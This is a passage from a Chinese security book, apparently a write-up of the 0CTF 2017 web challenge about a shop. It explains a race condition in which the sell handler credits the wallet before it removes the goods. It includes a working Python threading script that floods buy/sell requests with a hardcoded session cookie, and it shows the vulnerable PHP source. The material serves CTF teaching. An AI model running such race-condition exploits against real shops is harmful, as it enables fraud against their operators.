上QQ阅读APP看书,第一时间看更新
8.3 0CTF 2017 Web实例
这道题与上一道题是类似的,这里简单介绍下题目内容:注册登录之后,我们账户里面一共有4000元,但是要获得hint需要8000元。页面给出了如图8-2所示的功能。
图8-2 题目界面
如图8-2所示,我们可以买入一个东西,也可以将其卖出,逻辑很清晰。根据猜测以及前文中的分析,我们可以得知在卖出的时候,服务端先更新账户余额,再扣除货物,所以可以利用两次数据库操作的时间差来触发条件竞争漏洞,测试代码如下:
import sys import requests import threading url1 = "http://202.120.7.197/app.php" def get(url): try: result=requests.get(url,headers={"Cookie":"PHPSESSID=s19hq4hahl2fdoomact47vpq75"}) except: pass def main(): while True: t1 = threading.Thread(target=get, args=(url1+ "?action=buy&id=5",)) t2 = threading.Thread(target=get, args=(url1+ "?action=sale&id=5",)) t3 = threading.Thread(target=get, args=(url1+ "?action=sale&id=5",)) t1.start() t2.start() t3.start() if __name__ == '__main__': sys.exit(int(main() or 0))
通过上述代码即可触发条件竞争漏洞从而获得金钱。最后给出部分源码,以帮助分析,处理卖出请求的源码如下:
<?php if (!isset($_GET['id'])) { errormsg("Goods id required."); } $goodsid = intval($_GET['id']); $userid = $user['id']; $sql = "select id from usergoods where goodsid = $goodsid and userid = $userid"; //确认是否有与此id对应的产品 $result = $con->query($sql); $tmp = $result->fetch_array(MYSQLI_ASSOC); if (!$tmp) { errormsg("You don't have this goods"); } $sql = "select price, info, name from goods where id = $goodsid"; //查询产品的价格 $result = $con->query($sql); $goods = $result->fetch_array(MYSQLI_ASSOC); $price = $goods['price']; $wallet = $user['wallet']; $wallet += $price; //$wallet即账户余额 $sql = "update `user` set wallet = $wallet where id = $userid"; //卖出的时候先更新账户余额 if ($con->query($sql) !== true) { errormsg("Update fail"); } $sql = "delete from usergoods where goodsid = $goodsid and userid = $userid limit 1"; //更新完账户余额后再扣除货物 if ($con->query($sql) !== true) { errormsg("Sale fail"); } msg( [ "status" => "suc", "wallet" => $wallet, ] );